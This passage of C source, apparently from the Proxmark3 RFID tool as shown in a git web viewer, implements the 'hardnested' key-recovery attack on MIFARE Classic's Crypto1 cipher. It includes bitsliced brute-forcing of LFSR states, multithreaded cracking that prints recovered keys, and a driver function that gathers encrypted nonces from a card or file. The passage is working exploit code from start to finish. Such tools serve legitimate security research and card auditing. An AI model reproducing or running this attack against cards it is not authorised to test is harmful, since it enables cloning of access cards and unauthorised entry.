1418 bucket_size[bitsliced_blocks] = max_slices;
1419 #endif
1420 for(size_t slice_idx = 0; slice_idx < max_slices; ++slice_idx){
1421 uint32_t e = *(p_even+slice_idx);
1422 for(size_t bit_idx = 1; bit_idx < STATE_SIZE; bit_idx+=2, e >>= 1){
1423 // set even bits
1424 if(e&1){
1425 lstate_p[bit_idx].bytes64[slice_idx>>6] |= 1ull << (slice_idx&63);
1426 }
1427 }
1428 }
1429 // compute the rollback bits
1430 for(size_t rollback = 0; rollback < ROLLBACK_SIZE; ++rollback){
1431 // inlined crypto1_bs_lfsr_rollback
1432 const bitslice_value_t feedout = lstate_p[0].value;
1433 ++lstate_p;
1434 const bitslice_value_t ks_bits = crypto1_bs_f20(lstate_p);
1435 const bitslice_value_t feedback = (feedout ^ ks_bits ^ lstate_p[47- 5].value ^ lstate_p[47- 9].value ^
1436 lstate_p[47-10].value ^ lstate_p[47-12].value ^ lstate_p[47-14].value ^
1437 lstate_p[47-15].value ^ lstate_p[47-17].value ^ lstate_p[47-19].value ^
1438 lstate_p[47-24].value ^ lstate_p[47-25].value ^ lstate_p[47-27].value ^
1439 lstate_p[47-29].value ^ lstate_p[47-35].value ^ lstate_p[47-39].value ^
1440 lstate_p[47-41].value ^ lstate_p[47-42].value ^ lstate_p[47-43].value);
1441 lstate_p[47].value = feedback ^ bitsliced_rollback_byte[rollback].value;
1442 }
1443 bitsliced_even_states[bitsliced_blocks++] = lstate_p;
1444 }
1445
1446 // bitslice every odd state to every block of even half-states with half-finished rollback
1447 for(uint32_t const * restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE]+p->len[ODD_STATE]; ++p_odd){
1448 // early abort
1449 if(keys_found){
1450 goto out;
1451 }
1452
1453 // set the odd bits and compute rollback
1454 uint64_t o = (uint64_t) *p_odd;
1455 lfsr_rollback_byte((struct Crypto1State*) &o, 0, 1);
1456 // pre-compute part of the odd feedback bits (minus rollback)
1457 bool odd_feedback_bit = parity(o&0x9ce5c);
1458
1459 crypto1_bs_rewind_a0();
1460 // set odd bits
1461 for(size_t state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; o >>= 1, state_idx+=2){
1462 if(o & 1){
1463 state_p[state_idx] = bs_ones;
1464 } else {
1465 state_p[state_idx] = bs_zeroes;
1466 }
1467 }
1468 const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
1469
1470 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1471 const bitslice_t const * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
1472 size_t state_idx;
1473 // set even bits
1474 for(state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; state_idx+=2){
1475 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1476 }
1477 // set rollback bits
1478 uint64_t lo = o;
1479 for(; state_idx < STATE_SIZE; lo >>= 1, state_idx+=2){
1480 // set the odd bits and take in the odd rollback bits from the even states
1481 if(lo & 1){
1482 state_p[state_idx].value = ~bitsliced_even_state[state_idx].value;
1483 } else {
1484 state_p[state_idx] = bitsliced_even_state[state_idx];
1485 }
1486
1487 // set the even bits and take in the even rollback bits from the odd states
1488 if((lo >> 32) & 1){
1489 state_p[1+state_idx].value = ~bitsliced_even_state[1+state_idx].value;
1490 } else {
1491 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1492 }
1493 }
1494
1495 #ifdef EXACT_COUNT
1496 bucket_states_tested += bucket_size[block_idx];
1497 #endif
1498 // pre-compute first keystream and feedback bit vectors
1499 const bitslice_value_t ksb = crypto1_bs_f20(state_p);
1500 const bitslice_value_t fbb = (odd_feedback ^ state_p[47- 0].value ^ state_p[47- 5].value ^ // take in the even and rollback bits
1501 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1502 state_p[47-24].value ^ state_p[47-42].value);
1503
1504 // vector to contain test results (1 = passed, 0 = failed)
1505 bitslice_t results = bs_ones;
1506
1507 for(size_t tests = 0; tests < NONCE_TESTS; ++tests){
1508 size_t parity_bit_idx = 0;
1509 bitslice_value_t fb_bits = fbb;
1510 bitslice_value_t ks_bits = ksb;
1511 state_p = &states[KEYSTREAM_SIZE-1];
1512 bitslice_value_t parity_bit_vector = bs_zeroes.value;
1513
1514 // highest bit is transmitted/received first
1515 for(int32_t ks_idx = KEYSTREAM_SIZE-1; ks_idx >= 0; --ks_idx, --state_p){
1516 // decrypt nonce bits
1517 const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
1518 const bitslice_value_t decrypted_nonce_bit_vector = (encrypted_nonce_bit_vector ^ ks_bits);
1519
1520 // compute real parity bits on the fly
1521 parity_bit_vector ^= decrypted_nonce_bit_vector;
1522
1523 // update state
1524 state_p[0].value = (fb_bits ^ decrypted_nonce_bit_vector);
1525
1526 // compute next keystream bit
1527 ks_bits = crypto1_bs_f20(state_p);
1528
1529 // for each byte:
1530 if((ks_idx&7) == 0){
1531 // get encrypted parity bits
1532 const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
1533
1534 // decrypt parity bits
1535 const bitslice_value_t decrypted_parity_bit_vector = (encrypted_parity_bit_vector ^ ks_bits);
1536
1537 // compare actual parity bits with decrypted parity bits and take count in results vector
1538 results.value &= (parity_bit_vector ^ decrypted_parity_bit_vector);
1539
1540 // make sure we still have a match in our set
1541 // if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
1542
1543 // this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
1544 // the short-circuiting also helps
1545 if(results.bytes64[0] == 0
1546 #if MAX_BITSLICES > 64
1547 && results.bytes64[1] == 0
1548 #endif
1549 #if MAX_BITSLICES > 128
1550 && results.bytes64[2] == 0
1551 && results.bytes64[3] == 0
1552 #endif
1553 ){
1554 goto stop_tests;
1555 }
1556 // this is about as fast but less portable (requires -std=gnu99)
1557 // asm goto ("ptest %1, %0\n\t"
1558 // "jz %l2" :: "xm" (results.value), "xm" (bs_ones.value) : "cc" : stop_tests);
1559 parity_bit_vector = bs_zeroes.value;
1560 }
1561 // compute next feedback bit vector
1562 fb_bits = (state_p[47- 0].value ^ state_p[47- 5].value ^ state_p[47- 9].value ^
1563 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1564 state_p[47-15].value ^ state_p[47-17].value ^ state_p[47-19].value ^
1565 state_p[47-24].value ^ state_p[47-25].value ^ state_p[47-27].value ^
1566 state_p[47-29].value ^ state_p[47-35].value ^ state_p[47-39].value ^
1567 state_p[47-41].value ^ state_p[47-42].value ^ state_p[47-43].value);
1568 }
1569 }
1570 // all nonce tests were successful: we've found the key in this block!
1571 state_t keys[MAX_BITSLICES];
1572 crypto1_bs_convert_states(&states[KEYSTREAM_SIZE], keys);
1573 for(size_t results_idx = 0; results_idx < MAX_BITSLICES; ++results_idx){
1574 if(get_vector_bit(results_idx, results)){
1575 key = keys[results_idx].value;
1576 goto out;
1577 }
1578 }
1579 stop_tests:
1580 // prepare to set new states
1581 crypto1_bs_rewind_a0();
1582 continue;
1583 }
1584 }
1585
1586 out:
1587 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1588
1589 #ifdef __WIN32
1590 #ifdef __MINGW32__
1591 __mingw_aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1592 #else
1593 _aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1594 #endif
1595 #else
1596 free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1597 #endif
1598
1599 }
1600 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1601 return key;
1602 }
1603
1604 static void* crack_states_thread(void* x){
1605 const size_t thread_id = (size_t)x;
1606 size_t current_bucket = thread_id;
1607 while(current_bucket < bucket_count){
1608 statelist_t * bucket = buckets[current_bucket];
1609 if(bucket){
1610 const uint64_t key = crack_states_bitsliced(bucket);
1611 if(key != -1){
1612 printf("\nFound key: %012"PRIx64"\n", key);
1613 __sync_fetch_and_add(&keys_found, 1);
1614 break;
1615 } else if(keys_found){
1616 break;
1617 } else {
1618 printf(".");
1619 fflush(stdout);
1620 }
1621 }
1622 current_bucket += thread_count;
1623 }
1624 return NULL;
1625 }
1626
1627 static void brute_force(void)
1628 {
1629 if (known_target_key != -1) {
1630 PrintAndLog("Looking for known target key in remaining key space...");
1631 TestIfKeyExists(known_target_key);
1632 } else {
1633 PrintAndLog("Brute force phase starting.");
1634 time_t start, end;
1635 time(&start);
1636 keys_found = 0;
1637
1638 crypto1_bs_init();
1639
1640 PrintAndLog("Using %u-bit bitslices", MAX_BITSLICES);
1641 PrintAndLog("Bitslicing best_first_byte^uid[3] (rollback byte): %02x...", best_first_bytes[0]^(cuid>>24));
1642 // convert to 32 bit little-endian
1643 crypto1_bs_bitslice_value32(rev32((best_first_bytes[0]^(cuid>>24))), bitsliced_rollback_byte, 8);
1644
1645 PrintAndLog("Bitslicing nonces...");
1646 for(size_t tests = 0; tests < NONCE_TESTS; tests++){
1647 uint32_t test_nonce = brute_force_nonces[tests]->nonce_enc;
1648 uint8_t test_parity = brute_force_nonces[tests]->par_enc;
1649 // pre-xor the uid into the decrypted nonces, and also pre-xor the cuid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
1650 crypto1_bs_bitslice_value32(cuid^test_nonce, bitsliced_encrypted_nonces[tests], 32);
1651 // convert to 32 bit little-endian
1652 crypto1_bs_bitslice_value32(rev32( ~(test_parity ^ ~(parity(cuid>>24 & 0xff)<<3 | parity(cuid>>16 & 0xff)<<2 | parity(cuid>>8 & 0xff)<<1 | parity(cuid&0xff)))), bitsliced_encrypted_parity_bits[tests], 4);
1653 }
1654 total_states_tested = 0;
1655
1656 // count number of states to go
1657 bucket_count = 0;
1658 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1659 buckets[bucket_count] = p;
1660 bucket_count++;
1661 }
1662
1663 #ifndef __WIN32
1664 thread_count = sysconf(_SC_NPROCESSORS_CONF);
1665 if ( thread_count < 1)
1666 thread_count = 1;
1667 #endif /* _WIN32 */
1668 pthread_t threads[thread_count];
1669
1670 // enumerate states using all hardware threads, each thread handles one bucket
1671 PrintAndLog("Starting %u cracking threads to search %u buckets containing a total of %"PRIu32" states...", thread_count, bucket_count, maximum_states);
1672
1673 for(size_t i = 0; i < thread_count; i++){
1674 pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
1675 }
1676 for(size_t i = 0; i < thread_count; i++){
1677 pthread_join(threads[i], 0);
1678 }
1679
1680 time(&end);
1681 unsigned long elapsed_time = difftime(end, start);
1682 PrintAndLog("Tested %"PRIu32" states, found %u keys after %u seconds", total_states_tested, keys_found, elapsed_time);
1683 if(!keys_found){
1684 assert(total_states_tested == maximum_states);
1685 }
1686 // reset this counter for the next call
1687 nonces_to_bruteforce = 0;
1688 }
1689 }
1690
1691 int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests)
1692 {
1693 // initialize Random number generator
1694 time_t t;
1695 srand((unsigned) time(&t));
1696
1697 if (trgkey != NULL) {
1698 known_target_key = bytes_to_num(trgkey, 6);
1699 } else {
1700 known_target_key = -1;
1701 }
1702
1703 init_partial_statelists();
1704 init_BitFlip_statelist();
1705 write_stats = false;
1706
1707 if (tests) {
1708 // set the correct locale for the stats printing
1709 setlocale(LC_ALL, "");
1710 write_stats = true;
1711 if ((fstats = fopen("hardnested_stats.txt","a")) == NULL) {
1712 PrintAndLog("Could not create/open file hardnested_stats.txt");
1713 return 3;
1714 }
1715 for (uint32_t i = 0; i < tests; i++) {
1716 init_nonce_memory();
1717 simulate_acquire_nonces();
1718 Tests();
1719 printf("Sum(a0) = %d\n", first_byte_Sum);
1720 fprintf(fstats, "%d;", first_byte_Sum);
1721 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1722 brute_force();
1723 free_nonces_memory();
1724 free_statelist_cache();
1725 free_candidates_memory(candidates);
1726 candidates = NULL;
1727 }
1728 fclose(fstats);
1729 } else {
1730 init_nonce_memory();
1731 if (nonce_file_read) { // use pre-acquired data from file nonces.bin
1732 if (read_nonce_file() != 0) {
1733 return 3;
1734 }
1735 Check_for_FilterFlipProperties();
1736 num_good_first_bytes = MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED);
1737 } else { // acquire nonces.
1738 uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow);
1739 if (is_OK != 0) {
1740 return is_OK;
1741 }
1742 }
1743
1744 Tests();
1745
1746 PrintAndLog("");
1747 PrintAndLog("Sum(a0) = %d", first_byte_Sum);
1748 // PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x",
1749 // best_first_bytes[0],
1750 // best_first_bytes[1],
1751 // best_first_bytes[2],
1752 // best_first_bytes[3],
1753 // best_first_bytes[4],
1754 // best_first_bytes[5],
1755 // best_first_bytes[6],
1756 // best_first_bytes[7],
1757 // best_first_bytes[8],
1758 // best_first_bytes[9] );
1759 PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes);
1760
1761 clock_t time1 = clock();
1762 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1763 time1 = clock() - time1;
1764 if ( time1 > 0 )
1765 PrintAndLog("Time for generating key candidates list: %1.0f seconds", ((float)time1)/CLOCKS_PER_SEC);
1766
1767 brute_force();
1768 free_nonces_memory();
1769 free_statelist_cache();
1770 free_candidates_memory(candidates);
1771 candidates = NULL;
1772 }
1773 return 0;
1774 }
1775
1776
Proxmark3 GIT tracking
Impressum, Datenschutz